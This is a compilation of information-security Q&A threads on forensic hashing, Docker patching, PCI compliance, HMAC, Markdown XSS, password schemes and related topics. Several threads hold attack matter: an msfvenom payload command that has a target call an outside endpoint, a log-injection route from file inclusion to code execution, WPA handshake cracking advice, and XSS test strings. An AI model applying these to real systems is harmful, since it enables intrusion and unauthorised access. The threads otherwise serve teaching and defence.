Can data be tampered with after expert clones a drive? Introduction

3 computers were sealed and taken from a persons apartment. Investigators invited him to unseal the PCs, they were intact and they started the cloning process, however the hashes were just photographed by an expert without putting them into a document and giving it to the one who's being investigated, saying that they will invite him the next day to finish the paperwork, but after 4 days, he still hasn't been invited, meaning that all the devices has remained unsealed all these days.

All hard-drives were cloned using a write-blocking device, looks like this one.

Software that was/is used in investigations is FTK if I am not mistaken.

Question

How can investigators prove that the data on all the hard-drives were not modified during these 4 days, when the devices were unsealed and they had full access to them without the consent of the person who's being investigated?

in all practicality, producing the photograph of the acquisition hash and showing the new and old hashes match will satisfy almost everyone that the drive hasn't been tampered with.

However...

The most accurate answer is that, depending on what hash algorithms the investigators used, they may not be able to prove the data was unchanged. If the hash calculated was only MD5, an attacker (the investigators in this case) could theoretically alter the drive to make the new data result in a hash collision with the old data.

To clarify, if an investigator wanted to tamper with the contents of the drive, they could make two changes: the intended malicious change, as well as a second set of specially crafted changes somewhere else in the image (i.e. unallocated space), resulting in the "new" drive's hash matching the old hash. This is a known weakness in the MD5 algorithm.

See https://en.wikipedia.org/wiki/MD5#Collision_vulnerabilities

If the hashes used were SHA2 family, this vulnerability is only vaguely theoretically possible.

I should note I'm assuming the clone is either being written to a new HDD directly or a DD image file. An E01 image would be virtually impossible to alter this way.


strategy for dealing with glibc issues through all docker containers CVE-2015-7547 affects glibc, which is present in pretty nearly all docker containers.  There's an automated process underway which will update all official containers, but it's not immediately clear how I should manage the situation.

Some third party containers are poorly maintained, and likely not to get rebuilt any time soon.  We have local containers that need work to get re-builds done, often not more complicated than rebasing them on a newer upstream base container.  The speed of those upstream containers getting rebuilt will be quite variable.  If I rebuild everything locally now, I'll be too early to get the fix in some cases.  In general the 'everything's just a container' promise of docker administration doesn't hold here.

So, what strategies are available?

One thing that would be really useful would be to be able to docker exec something in each container to check if it's vulnerable.  Something which directly tests for the vulnerability would be ideal, but failing that some tool which knows enough about the packaging systems of all sorts of different linux distributions would also be helpful.  Is such a tool available that will run in the diverse range of (often minimal) docker containers?

Any other ideas?

This is an unfortunate consequence of relying on software built/maintained by others, over which you have no control.

With Docker at least you have the opportunity of just replication the Dockerfile and then basing it on a fixed base image.

My recommendation would be that you do exactly that. The base OS images should be fixed by now, if you're using one that isn't rebuilt, just fork it and run your own Docker image based on the base OS of your choice.


CVE-2017-15580: Getting code execution with upload I'm testing a target with osTicket 1.7 for CVE-2017-15580. Instead of getting a shell, I'm trying to get the target to make an HTTP request to a temporary end-point.
My temporary end-point is https://test.free.beeceptor.com and the command to be executed is powershell "IWR https://test.free.beeceptor.com". I've generated my payload as follows:
msfvenom -a x86 --platform windows -p 'windows/exec' CMD='powershell "IWR https://test.free.beeceptor.com"' -b "\x00" -e 'cmd/powershell_base64' -f exe -o IWR.exe

I then uploaded IWR.exe using an ticket reply. The CVE says that an HTML file is needed to bypass the  client-side filter, but I was able to upload the .exe file as is without trouble.

However, the file IWR.exe is just attached to be downloaded later in the posted reply. Going to https://target.com/file.php?key=MY_KEY&expires=1337&signature=SIG_GOES_HERE (the supposed location of IWR.exe) just prompts me to download the file without any sign of execution as there seems to be no log of a request made to https://beeceptor.com/console/test. I've also tried using the Print function but that just let me download a PDF of the ticket without executing IWR.exe.
What am I doing wrong? How do I get the target to execute my payload?

I don't think that you read the CVE or the PoC properly.
The PoC says that the reverse shell is to get a shell "of the end user". Not the server.
So, you are not doing anything wrong. You are just expecting something that is not meant to happen.


When and why would a penetration test require not just accessing, but downloading a file from a client's network? I've read that accessing a remote directory or file is enough of a proof-of-concept for most pentests. When and why would a POC/pentest require downloading files from a system, not simply accessing them remotely?

Curiosity about this was motivated by another question I asked, (Methods to copy files from a remote Linux system by order of detectability (assuming remote shell with root privleges)), in which many responses implied that caring about how to covertly download files from a remote system was strange or unorthodox. From an intuitive perspective, it would seem to me that local copies of certain remote files might be useful or required inputs for analysis that could be used to gain access to other parts of the target network.

This depends on the rules of engagement.  A solicited penetration test is done within a very strict set of guidelines (rules of engagement) so that it doesn't cause more harm than good.  This sets limits as to what can be done; exfiltrating files is pretty risky since they might contain sensitive or regulatory-encumbered info, which is good to know is available during a pentest, but bad to actually start dragging around the internet.  So, always follow the rules of engagement and if they aren't clear to this aspect, have them clarified before you start.

To be specific to your question, if the pentest guidelines state that it's allowable to exfiltrate, AND state that the positive confirmation objective is to obtain a copy of the file, then that's what you do.


Do Google 2 Factor Auth backup codes work for logging into Google or other sites? I set up Google 2 Factor Auth to log into other sites. I see there are backup codes if you lose your device.

Are these used only to log into Google, or can they be used to log into other sites?

It depends.

If you're using a site that uses Sign in with Google+ (or whatever): yes. It's the exact same authentication endpoint so signin works the same way.

If you had to set up a separate account (only applies to the 2-step verification app): no. An example of this would be Dropbox.


PCI Compliance and PayPal First, please forgive my ignorance. Until this week, the only "credit card security" I understood was how to hack systems and why to write PHP pages with the types of features I do (msqli, pdo, parameterized query, etc..). As per my involved ignorance, I will make this question as robust as I can, attempting to not over-complicate it. (Maybe too late now)

I've checked every PCI Compliance Q on here, as well as Googled to the extreme for 2 days now and I still have a few questions, before I begin trying to put together a PoA Report to present to my employer at the end of this week.

I was forwarded an email from PayPal about becoming PCI Compliant and have since learned, due to our use of the PP SDK function DirectPayment, we must obtain compliance and certification. Upon doing that, I researched and double checked our current SSL and checkout implementation. We do not store any information beyond the PayPal return, which does include the last four of a CC, but nothing more. There is a short period (from review page to finalization of order) where the information is stored via $_SESSION, and the removed upon completion of final step; whether successful or not.

My Questions

Is this temporary passage of CC user info PCI Compliant?
In becoming PCI Compliant, is it really as simple as it appears:

a. Obtain Compliance Scan from Certified Vendor
b. Complete a PCI DSS SAQ

About that SAQ, I'm still having trouble, despite much review, understanding exactly which questionnaire we need?

a. As I currently understand it, I believe we fit in the category: C-VT
b. See Checkout Info below

Our current SSL is with COMODO. Can anyone tell me, if we use the same company for our PCI Compliance scan, would we still be eligible to receive the full set of services we receive from PayPal?

a. I've tried asking PayPal about this and I just keep getting templated answers that have yet to answer any question I've asked them. (may be the second worst customer service I've ever experienced)
b. Referring to line from PayPal's PCI Compliance Documentation: What happens if my business doesn't comply? From a PayPal perspective, your Website Payments Pro account may be limited and eventually suspended. Thus, I wonder, is any compliance viable, or does it have to be through one of there referenced vendors, of which COMODO is not listed.

Checkout Info We have 3 ways to checkout

Via aforementioned PayPal SDK method DirectPayment. We use a form, filled out client side and stored temporarily to $_SESSION to gather the info needed to "submit payment". Once submitted, all $_SESSION data is erased and return data is saved along with the order data, if successful. If error, order data is maintained in session, but CC info is dropped and user is asked to try again or try a different payment method.
Via PayPal Express button. Simple as that. Again, return data is stored, but unlike the return data of DirectPayment, not even last four of CC is stored. Just the order info, price, and PayPal Express JSON return.
By phone, again making use of DirectPayment. One of our reps simply gathers the same info the user would enter on the public site, enters it in a CRM version of the same form and the same process is followed. Main difference being, the rep is returned to CRM Main Page afterward, AND there is no $_SESSION storage needed, as they just submit the form directly after reviewing the info on the phone with the customer.

Again, most sincere apologies if my questions are already answered here and I'm just overlooking them or if I'm just not understanding something I might should.

Thanks in advance for any and all help.

First of all, checkout methods number 1 and 3 require you to become PCI compliant, it doesn't matter how long you store that information, the moment you touch card holder data you need to be PCI compliant. Depending on what you do with the data (e.g. storage) different requirements may apply.
Well the easy part is doing the actual SAQ and being audited, the hard part is actually having your environment set up so you actually pass the audit.
Because you are temporarily storing  the CC information in a session, I'm more leaning towards SAQ D. Remember that C-VT requires no storage of CC data and that the terminals used to enter payments are required to be isolated in a single location and not connected to other systems in your environment. The most common implementation is via thin-client terminals or individual systems with dedicated Internet access and host-based firewall restrictions.
If COMODO is an acredited scanning vendor (ASV), they're should be no issue.


Is Browser-Update A Legitimate Site? I searched this site to find if the following site is legitimate and didn't see any posts.  A legitimate company is linking to this site on their front page with a warning - the site linked to:
https://browser-update.org/update-browser.html
From the site - information:

Browser-update.org is a tool to unobtrusively notify visitors that they should update their web browser in order to use your website.
This is done with care not to annoy, lock out or erroneously notify visitors!

This has a very suspicious feel to it.  If it's a legitimate site, it certainly doesn't seem to be.  Does anyone know if this is legitimate?  I want to contact the company about them linking to this site, as it may be negatively impacting other users.

From my limited time researching the website it seems to be legitimate in respect of its intention. It offers no downloads from any source, it currently has tracking cookies Cloudflare's and a PHP session. Also, a counter js script that is going to fc.webmasterpro.de which is strange but not dangerous.

Here is the GITHUB: https://github.com/browser-update/browser-update/

It seems to have very active contributors, I would most likely assume its a new site given its new SSL cert from Cloudflare flexible certs being dated the 20th of Nov.

My verdict is don't download anything from there but otherwise, it looks safe to me.


Someone borrowed my phone and Im scared its hacked I am from Australia and I use a iPhone 4.

Today, a young guy asked to borrow my phone, since he was out of credit and since I was trying to be a good samaritan, let him borrow my phone (also we were at a well surveillance area). He told me that he was meeting his friend and he just arrived. Did not think much of it at the time, and I was with another girlfriend so we just kept talking whilst he borrowed my phone.

He was only using it for about a minute or two but after we walked away, I decided to check my call log, and saw that he dialled two numbers. Getting abit suspicious, because It didn't seem like was looking at his phone to find the contacts but more like he remembered the numbers in his head.

So I come home, accidentally (honestly) pocket dialled one of the two numbers for about two rings until I pressed the end call button. 20 minutes later, my phone rings saying "NO CALLER ID" and i pick up because I was pretty sure it was one of the two numbers. He asked me who it was, and I asked if it was the guy that borrowed my phone and he said yes it was, In which i replied , with an apology and that i accidentally pocket dialled him. then I think he thanked me for borrowing my phone and then asked me to coffee in which I replied with a no and we hung up.

I am suspicious because when he borrowed my phone, he said he was calling a friend, but it was him on the line when he called me back. Also I then checked my call logs more closely both the numbers dialled says "canceled" next to them, which means the calls didn't go through, because if it went through it would have said how long the duration of the call went on for.

So should I be paranoid? or is it just some guy thats a bit weird and wanted my number without having to ask for it? Also what I should do if my phone is being tapped/tracked/monitored/spied on. thanks.

I think here is not the place to ask this kind of question.

Anyway, I don't think it is possible to hack a phone with a couple calls (yet). Should you notice any suspicious activity in your phone bill you can ask for help in your telephone company. In case your phone behaviour is odd, you can factory reset the device, which should erase anything that might have happened.


Do ciphers and encoding schemes make passwords more secure? I recently came across a tech professional advising a user to take some plaintext of their choice, run it through one of these ciphers, convert it to Base64, and then use the result as their master password on LastPass.

However, the simple nature of ciphers and encoding schemes like Base64 and how easily a system trained to do so would be able to crack them makes me wonder whether this isn't some form of security by obscurity.

Just how much more secure is this practice compared to simply using a long plain text master password? Is it good or bad security practice? Are there likely to be hackers out there that make the decoding of basic ciphers and encoding schemes part of their brute-forcing strategy?

"and then use the result as their master password on LastPass"

The proposed "algorithm" is in essence just a fancy key expansion.

As you surmised, it is security through obscurity. If one knew that I was using a base64 encoding of a plaintext crunched through (say) Bifid, he would be able to brute force the database much faster: the plaintext would probably be no more than four or five words, giving somewhere between 50 and 70 bits of information, not as if it was a real 100-bit sequence.

On the other hand, 50 to 70 bits of information is pretty good for a password (see mandatory xkcd link). So if you started with a secure choice, you'd stay secure.

On the gripping hand, good password managers allow for any length of master password. So I could choose a lengthier text of my choice, and that could be both easier to regenerate and better security. I can't run Bifid with pencil and paper every time I need to unlock my password manager.

And if one chose a single word, insecurely, trusting in the magic of base64 to enhance its hardness? If that became known, a password database could be blown open in a few minutes. So, depending on who's given to, it might even be a very bad suggestion.

funny factoid

A colleague told me that, apparently, this kind of - not "fallacy", let's say "inefficiency" - might be called Feynman's Yellow Paint. The story goes that a painter claimed to be able to get yellow paint by mixing red and white, while Feynman held this was not possible. They proceeded with the experiment, and the white-red mixture turned pink -- and stayed pink. So the painter commented, "Usually I added some yellow, and then it turned out fine".

The analogy here is that to get a strong password from a base64'ed ciphered scheme, you need to start with a strong password. But if you have a strong password, then you do not need the cipher and encoding superstructure.


How the HMAC secret key is exchanged? I stumbled upon a code where the secret key for HMAC has been hard coded into C# client and server code.
I've watched 5 videos about HMAC and many articles and none of them doesn't specify how the secret key for HMAC should be exchanged or stored.

Can anybody elaborate on that subject? Because if the secret key is transmitted through the web this compromises whole algorithm.
Is there any point to use HMAC if you already use the HTTPS at the same time?

HMAC provides message integrity and authentication. If you receive a message with a correct HMAC on it, you know that:

the message is intact;
the sender has the key.

Since the sender has the key, you know the message originates from somebody you gave the key to. If you distribute the key only to known users, you can be sure that the message originated from a known user.

Sometimes the key is used by the same system and no key exchange is necessary. For example, a password reset functionality on a web site may create a HMAC and send that by email. If you click the link in the email, the same site verifies the HMAC. Since the HMAC is created and verified by the same software, not verification is necessary.

In other applications, for example in OpenID, each client has its secret shared with the server. When adding a client to OpenID you also need to specify the key for the HMAC operation. This configuring step is done once.

In your example with the C# client and server, the key is hardcoded. The server can then verify that the request really originates from the client. However, it
would be pretty easy to extract the key from the client and forge a request.

A key exchange method for HMAC does not really make sense. It may be usable in another cryptographic mechanism, but normally HMAC keys are fairly static.

Finally you ask how this works in conjuction with HTTPS. HTTPS provides server authentication. You could use client certificates to achieve client authentication, but this is not enabled by default. With HTTPS, messages can't be modified in transit. So the only thing that the HMAC solution could add is client authentication.


Are my Windows 10 User Accounts exposed? I have two user accounts on my PC. About 2 years ago I was doing some testing and left one of my local accounts open to RDP with no password accidentally for about a month.

A hacker got in and started screwing around before I caught him, and realized the account was open and quickly locked things down. No serious harm was done, and I removed the ability for anyone to login on the compromised account.

That PC no longer exists and the boot drive is completely different, but I have replaced it with another PC using the same user-account names (they make sense). A week ago I realized that computers in Russia, Latvia, and China were hammering my RDP port pretty hard. Most of them are trying random account names like "MARY", "ADMIN", "RYDER", etc., but disturbingly I've noticed that sometimes they are directly referencing the two user accounts on my system (although this seems to usually come from the same CIDR /16 sub blocks).

I've been banning these ranges, but I'm wondering if these account names are in some way being exposed to the outside? Is it possible they've just "wrote" down the account names they were able to see when my PC was stupidly open, and now those accounts are on a list somewhere?

I've taken other security precautions and changed my passwords, changed my RDP port, etc., so I'm not terribly concerned, but it is disconcerting.

Attackers will often aggregate useful offensive knowledge. A good example is combo listing, where cracked passwords and matching usernames are made into giant lists which are passed around.

It could be that the attacker who gained access saved your username/password combinations, or even sold them to other people. It's not too surprising that the usernames, which are now compromised information, are being targeted again.

Question for you: has your IP or domain changed since the first compromise? If not, then it's almost expected the attacker would try those same usernames against your host. If RDP has a banner which uniquely identifies your host that might be another way those usernames are being associated with your system.


What to do with .hash files when cracking WPA2 So, I'd say I'm one level above n00b. I've gotten to the point where I have accomplished a WPA Handshake (and saved the output as xxx-01.cap). I have also downloaded these hash tables (if that is the right term for a .hash file). I've learned how to use crunch - but it is obviously insanely slow. I read somewhere that you can scan hash tables at about 18000 keys/sec on a fast computer (mine is a MacBook Pro - maybe someone could help me figure out how well mine will fair). I am using aircrack-ng to accomplish the handshake - and I've been told I can use JTR, cowPATTY, Reaver, oclHashcat, etc., but I can't figure out how to get aircrack-ng to work with one of these programs, so that I can parse the .hash files. Right now, from what I have read - I am approaching it from the angle that I need to use a program like oclHashcat. However, due to my computer specs (Intel 3rd gen onboard graphics) - oclHashcat won't work. I am now under the impression that I need to convert the .hash files to a .cap file. I also was able to get one of the above programs to work with aircrack-ng on a single .hash file - but I realized they all need to be the same name as the ESSID you are trying to crack. I tried simply merging them with the mv command - but I knew in my heart of hearts that wouldn't work! I am using Kali Linux - any help would be appreciated (stergling n00b).

Short answer: this is the link you're probably looking for (-s specifies SSID).

Longer answer: Precomputed 'hash' files are used to accelerate password bruteforce when cracking WPA. They do this by eliminating the need to perform costly transformation of a password into an encryption key; instead somebody already computed such keys for common SSIDs and passwords and saved them into this hash file.

Note that hash table is computed for a limited number of passwords (~170K for 7 GB table in this case) and limited set of SSID (~1000 for 7 GB table).

This means two things:

They are only useful to you if your SSID is in that set;
They are only useful to check if password to your handshake is one
of the used while generating the table.

If you need to go beyond that (i.e. SSID isn't n the set or you ant to test some specific passwords) you're need to revert to bruteforce/dictionary cracking. Both aircrack-ng and coWPAtty can do this (although obviously much slower than just going through precomputed hash table).

oclHascat isn't working on your because it needs a GPU to work (a discrete one).

Precomputed hash file is orthogonal to .cap – don't try to convert them into each other, this makes absolutely no sense.


What SSD maker has implemented Secure Erase to spec? I have a Kingston hyperx drive circa 2012. I kicked off a secure erase on it. I then remounted the drive and was horrified (well, not really more like bemused) to see my whole parts of my old file system still intact. This correlates with the well known findings of a UCSD lab that SE is not implemented well in most SSDs.

How can I know whether my SSD's secure erase functionality works securely? (I can make a simple test, but how do I know that it'll work in all circumstances?)

More usefully, how can I find out before buying an SSD whether its SE is implemented correctly? Is there a publicly available list of known good vendors?

Who are you defending against?

No, really, because remember, with SSD, there are sectors that go bad that are no longer writable.  With ATA Secure Erase, the drive is also supposed to erase the mapped-out bad blocks, but if the blocks are actually no longer writable, it cannot succeed.  You can't blame a vendor for not doing the impossible.

A custom firmware may be able to read back those sectors that have gone bad.  But your typical adversary does not have such a firmware, so again from who are you defending against?  And how much data will they actually be getting?

If you really need to make sure that your data is secure after you dispose of it, then never let unencrypted data touch the drive.  Encrypt your volume, and when you're done, just zero the drive and never look back.


How do I use Markdown securely? How do I use the Markdown library safely?  What do I need to do to make sure that its output is safe to include into my web page?

I want to allow untrusted users to enter content (in Markdown format).  I'll use the Markdown processor to generate HTML, and I'd like to include that HTML in my web page.  What do I need to do to make sure this is secure, and is not a self-inflicted XSS vulnerability?  What arguments do I need to pass?  Is there any preprocessing or postprocessing I need to do?  I'm using the python-markdown library, if that is relevant.

Recommended usage. The short answer is: Use markdown(untrusted, safe_mode=remove, enable_attributes=False).

Make sure you have an up-to-date version of the Markdown library, as older versions have some security problems.

You could also run the output through a HTML sanitizer, like HTML Purifier.

Rationale.  It is a good idea to disable enable_attributes.  While the latest development versions of the Python markdown library will disable enable_attributes by default if you set safe_mode, earlier versions did not do so.  Consequently, just setting safe_mode is not enough on most versions of the Markdown library.  If you just set safe_mode, the result is insecure:

import markdown
>>> markdown.markdown("{@onclick=alert('hi')}some paragraph", safe_mode=True)
u'
some paragraph
'

At the moment, the fixes are only present in git.  At the time of this writing, the latest released version of Python Markdown (2.1.1) remains vulnerable unless you explicitly set enable_attributes=False.  Therefore, it is plausible that many systems currently using Python Markdown may be vulnerable.

The documentation could be better at warning users of Markdown about these pitfalls.  It says things like "You may also want to set enable_attributes=False when using safe_mode", without disclosing that failing to do so creates an XSS hole with all but the very latest versions of the library.  Later versions of the documentation say that setting enable_attributes "could potentially allow an untrusted user to inject JavaScript into your documents"; it would be clearer to say that setting enable_attributes does enable users to inject Javascript into your documents and is thus highly insecure if the Markdown might come from an untrusted source.

Doubts.  That said, I'm not 100% certain whether the result will be secure, even when using it as recommended above.  The developers have made comments like the following:

  "safe-mode" was a poor name choice that we continue to use for backward comparability (old code still works with our newer versions). What it really is is a no-markup mode. In other words, it is just a way to disallow raw html and really doesn't guarantee safety.

Those kinds of comments are a bit scary.

In earlier versions of the Python Markdown library, its HTML sanitization looks a bit fragile to me, so I'm not sure whether I'd trust earlier versions of the Markdown library, regardless of what flags are passed.  Consider the following:

>>> markdown.markdown("[Example](javascript://alert%28%22xss%22%29)", safe_mode=True)
u'
Example
'

Allowing javascript:-style URLs through Markdown's processing seems to me like a pretty dubious design decision.  It feels like this is within a hop, skip, and a jump of XSS.  All that's missing is a way to break out of the C++-style comment (the //), and it is game over.  For instance:

>>> markdown.markdown("[Example](javascript://\nalert%28%22xss%22%29)", safe_mode=True)
u'
Example
'

How confident should I be that no browser will execute that Javascript?  I dunno, but it is not giving me warm, fuzzy feelings.  If it is secure, it is just blind luck.

Fortunately, the very latest released version of Markdown appear to do stricter filtering of script if you set enable_attributes=False.  But make sure you set enable_attributes=False, otherwise Markdown falls back to the fragile HTML sanitization found in earlier versions, and I'm not confident in the security of that scheme.

What not to do. The following is not secure: markdown(escape(untrusted)).

You might think that first escaping the input would remove all of the HTML and make this usage safe.  In fact I have seen this used in some systems and recommended by some.  However, it is actually unsafe, since escaping is not enough to make URLs safe.  For instance, this usage of Markdown can be defeated by "[clickme](javascript:alert%28%22xss%22%29)".  In general, escaping the input to Markdown is not the right approach; the right approach is to invoke Markdown in the appropriate way (and possibly apply a HTML filter to its output as well, if you want extra protection).

If you use Django. If you use Django, the following should be a safe way to use Markdown:

{{ untrusted | markdown:"safe" }}

As of Django 1.4, this is safe.  when you pass the "safe" argument, Django now has special support to set safe_mode and disable enable_attributes.  But make sure to update to Django 1.4 or later; in earlier versions, this usage was insecure.


How to hack linux via Local File Inclusion vulnerability? During my penetration testing, I found a local file inclusion vulnerability. In fact this vulnerability existed in mailwatch <= 1.0.4, and its exploit existed in Exploit-DB.

I tried to exploit the operating system (CentOS 6) via this vulnerability depending on the file /proc/self/environ, but I failed because when it returns blank page when I am trying to see the content of the /proc/self/environ file.

Is there any idea any way to hack the OS?

It can be exploited by log files injection. it might be possible to inject Apache log files, but these files needs root access to open, so it will not be possible to open them via LFI. to solve this problem, we inject temporary Apache log files, which are existed under this path:

proc/self/fd/12

or

proc/self/fd/14

or

proc/<apachi pid>/fd/12

or

proc/<apache pid>/fd/14

we nject log file with php code enables us to do whatever we want.


End to end ecncryption and solution to password lost I'm implementing field level end to end encryption (e2ee) to customer data stored in a DB, this DB is using by a RESTFUL web application (angular) through a web API.

API generates an encryption key per user and it symmetrically encrypts that encryption key with the user's raw password+credentials and store in a DB.

Every time user should provide the password to web API to get his encryption key decrypted and using that key, the web API decrypts customer data and provides to RESTFUL WebUI.

When in a situation which customer looses his password he is getting unable to access his data.

Is there any solution to this lost password scenario problem?
However the e2ee should always be available and our web API/UI staff/developers/management should have zero knowledge of customer data.

Whatever the gory details, encryption key recovery requires a backup of the key. A common way is to store that backup copy in encrypted from, using the public key of a key master - generally a team administrator. That way, if the user loses his key, the key master can recover the data.

But if you offer that recovery system, you (someone in your staff) automatically have a hidden backdoor to your users data and break the zero knowledge rule.

The more you can do is to warn your users that if they lose their password, all their data will be irremediably be lost, and advise them to keep a secure backup of their password/key. Depending of the requirement, a sealed envelope in a physical safe can be fine, or a password vault on a external device (USB key, smartphone, ...)


How serious is InstallIQ? Background:

Recently I've seen hits for InstallIQ a "potentially unwanted application" from ESET.  From what I can find it seems like this is an installer wrapper that asks people to install other benign software.  It seems a lot of free software is using this to make some money from referrals.

Questions:

Is there anything malicious InstallIQ does that I have missed?

Will there come a point that this becomes so ubiquitous that ESET stops flagging it as Adware?

Is there anything malicious InstallIQ does that I have missed?

From what I can gather, InstallIQ in and of itself does not actually install anything malicious - however, it does provide mechanisms for third parties to bundle additional "offers" with products at install-time, which is a very attractive proposition for malware/spyware authors.

  Will there come a point that this becomes so ubiquitous that ESET stops flagging it as Adware?

I understand your concern, but I'm going to say no. There are many competing installer packages available in the market and many are considered more reputable. For example, MSI is Microsoft's preferred solution and integrates best with the likes of WSUS. Aside from MSI, other popular windows installers include NSIS (which I believe Mozilla use) or InstallShield. So InstallIQ has an uphill battle to become ubiquitous.

Secondly, there's a reputation issue. Personally, I would not distribute my software with any kind of add-on bundling solution, especially one which has links with malware distribution, however tenuous, if an alternative existed. Distributing nagware or malware to your customers will do nothing for your goodwill and continuing business. In this sense, such a solution is actually a security threat to you business model.

Finally, antivirus and antispyware producers are not going to ignore malware distribution in installers - even innocent installers could potentially be corrupted or be tampered with. Not catching viruses, nagware and spyware is not a good business model to use as an antivirus company.

So in conclusion, I think there are enough good reasons and sufficient pressure that such solutions are unlikely to become either ubiquitous or ignored, although they will continue to be used on a small scale both legitimately and to distribute malware.


Tell people that I can encrypt emails I know that it is still not very easy to use PGP for an average user. However, the situation is improving (there are some easy plugins that can even nicely integrate into your GMail webmail). In addition, the press releases of the last time may have encouraged people to think about their safety a little more.

What is the best way to tell people that I am capable of encrypting emails using the OpenPGP standard?

Possible solutions could be:

Sign each outgoing mail

However, this will always produce a lot of text even for a small message. This would definitely annoy me if I do not know anything about it or if I don't care.

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Hi, yes that is okay.

-----BEGIN PGP SIGNATURE-----

[ a lot of stuff ]

-----END PGP SIGNATURE-----

Include a text in the signature of the mail

One could write something like:

  Please note that unencrypted emails can be easily intercepted and read by third parties. For transmitting confidential information please consider encrypting your emails. My PGP key fingerprint is XX XX XX XX XX XX XX.

Are there any suggestions on how to write that more precisely while keeping it short and sweet?
Asking them directly to encrypt their mails

What are the pros/cons of each solution and how can you show people that may it takes less than five minutes to install an appropriate browser plugin and to generate a key pair with it? Should I offer them that I may possibly assist?

Signing mails is in my experience the best method to show others they can send you encrypted mail. If they're using OpenPGP anyway, their mail client might even automatically enable encrypted mails as replies to signed ones. Recently I was very surprised receiving (S/MIME) encrypted mail from both a bank and a health care institute, just because I signed the mails I sent them.

You don't need to (and shouldn't do anyway) use clear text (inline) signatures (with all their bulk), although they're a very present hint you're accepting OpenPGP encrypted mail. It might be of interest using this if you especially want to prompt others sending encrypted mail, your capability of doing so, or just make them curious... Instead, there is also PGP/MIME, which will not distract anybody (but I think users of MS Outlook might see some attachment they don't understand), but still offer the advantages to other OpenPGP users described above.

Always signing mail (using PGP/MIME or S/MIME) produces some background noise, but doesn't disturb and nobody has to care about a few additional bits in each mail, and you might get awareness for signing and encryption into the subconscious mind. Worked out for me pretty well, I got quite a bunch of people around me to sign and encrypted mail this way (or do it again, and regularly).
Put your fingerprint into your signature and on your business card. Expect to get asked about it, and be ready to explain what that's all about.
Put your public key on keyservers. Lots of mail clients with support for OpenPGP automatically query them, especially after receiving signed mail.
Talk to others. Request them to send confidential information encrypted. Encrypting mails is rather easy, the sender doesn't even have to create his own key pair. Guiding others is rather easy even on the phone if you tried the most relevant plugins.
Consider also using S/MIME, even if it's "just" a CAcert certificate. Even if the certificate is not trusted, most mail clients support S/MIME out of the box, and replying with encrypted mail is much easier than with OpenPGP: no plugins required, and the certificate is automatically attached to your mail, the replying sender just has to click the "encrypt" button.


How to detect malware on an HDD from scratch I am wondering how to detect a virus or malware or anything that exists on an HDD (I am thinking of external hard drives). Doing a quick search led to these which aren't quite related:

Virus checking and cleaning an external hdd
Knowing if a malware infected something else than the hdd or ssd
Cleaning a virus by mounting the infected hard disk on another machine?
Can a computer virus be stored somewhere else than on the hard drive?

This is closer to what I'm talking about:

https://www.cnet.com/forums/discussions/can-any-virus-survive-reformatting-the-hard-drive-49909/
https://www.quora.com/Will-totally-wiping-a-computer-get-rid-of-viruses-malware-and-such

Quora states:

  It depends on the malware. Reformatting will remove most malware, but there are exceptions. Just make sure to blow away the recovery partition and install from known good media.... Some malware can modify the BIOS or other parts of the computer that will survive a reformat of the hard drive. This type of malware is rare because it is specific to hardware.

For this question I am not interested in non-HDD viruses, only on HDD ones (for external hard drives, just to keep the question not too broad). I don't quite understand how hard drives work other than that they use magnetic material to store the data.

In programming (I am just a programmer, not really much security stuff), I just think "I store files on the hard drive". Some of those files can be "executable files". But if you don't execute those files you won't get a virus (ignoring other ways to get viruses outside of HDDs here). If you do run the file, and it "has a virus", I don't see how just turning your computer off and on again won't just stop the program from running. I know there are startup daemons, so maybe it would be a startup daemon, but if you just looked at ps ax I would assume you would see the process listed. But this just goes to show I don't know much about how viruses work. Not directly related to the question, just wanted to add some context to the main question.

So the main question is, how to check there is a virus on the HDD. More generally, how to check that there might be any software or malware installed on the HDD. Wondering what needs to be done at a tool/software-independent level (i.e. at a theoretical level). Knowing of some standard tools would be helpful in some sense too, might make it easier to understand by example.

My knowledge basically is limited to "just type ps ax and check the processes". But maybe the virus either isn't listed there, or it changes its name. Also, this is just 1 unix command, I don't know if there is anything else to do. Maybe you can manually scan the drive's contents and look for some feature of some sort. Or I don't know, that's what I'm wondering.

By "from scratch" in the title, I mean without relying on some tool like "just run antivirus software X". What if you wanted to just write some C code or some Assembly, wondering at that level (not specific implementations necessarily) what you would be writing code for in order to solve the problem.

On a theoretical level you need to first compare the layout of the electronics of the device with the intended schematic (you probably don't have) or another known good version of exactly the same drive.
If it differs, find out what differs and what are the consequences? Are there any new "smart" parts like a micro-controller? What is it connected to?

Then you take a look at all the programmable electronics on there and dump the binary code in there. (using JTAG, SPI, whatever you need).

Then you compare this binary code with the known-good version (you probably don't have) or versions dumped from known-good versions of this drive.

You then exactly analyze the differences by disassembling the code and understanding what it does. Is it just a bugfix/update by the manufacturer or malicious code?

You can look at this blog for some nice potographs and a description how changing the drive firmware works.

If you determined that the hardware and firmware hasn't been tampered with, you can continue with the data on the drive.

Data on the drive isn't executed unless the UEFI/BIOS/... or operating system does so.

So first you need to check the bootloader on there. Does the drive contain a bootloader? if yes, see if it is a known good bootloader (e.g. WindowsBootloader, default grub, ...). If not, disassemble the code and analyze it.

If you are sure that the hardware, firmware and bootloader are not malicious, the only way to execute code would be your operating system.

Find out if your OS automatically loads and executes code from connected drives (it shouldn't) and if so, from where exactly. See if there is code in this locations on your drive. Analyze it.

If you came this far, there is no malicious code on the drive that is automatically executed. Of course, there still could be malicious code that doesn't run automatically.


Firewall rules to block unwanted protocols on given ports Does somebody has an idea, that what kind of iptables/pf rule must i use to achieve this?:

i only want to allow these connections [on the output chain]:

on port 53 output only allow udp - dns
on port 80 output only allow tcp - http
on port 443 output only allow tcp - https
on port 993 output only allow tcp - imaps
on port 465 output only allow tcp - smtps
on port 22 output only allow tcp - ssh
on port 20-21 output only allow cp - ftp
on port 989-990 output only allow tcp - ftps
on port 1194 output only allow udp - OpenVPN

So that e.g.: OpenVPN on port 443 would be blocked, because only HTTPS is allowed on port 443 outbound.

Any ideas? :\

Take a look at http://l7-filter.sourceforge.net/HOWTO

That describes how to use the "Layer 7" module in iptables rules for deep packet inspection.


How does client authentication work when using a TLS Proxy? We're using a load balancer, which implements TLS interception for a server, which in turn uses TLS Client authentication. Since TLS interception implies that the client will make the connection to the load balancer, not the server itself directly, will this affect the authentication process?

Since the TLS connection will be terminated by the TLS proxy the authentication of the client via client certificates will be terminated there too. Since the TLS proxy does not have the private key of the client it will not be able to use the original certificate of the client when connecting with TLS to the final server.

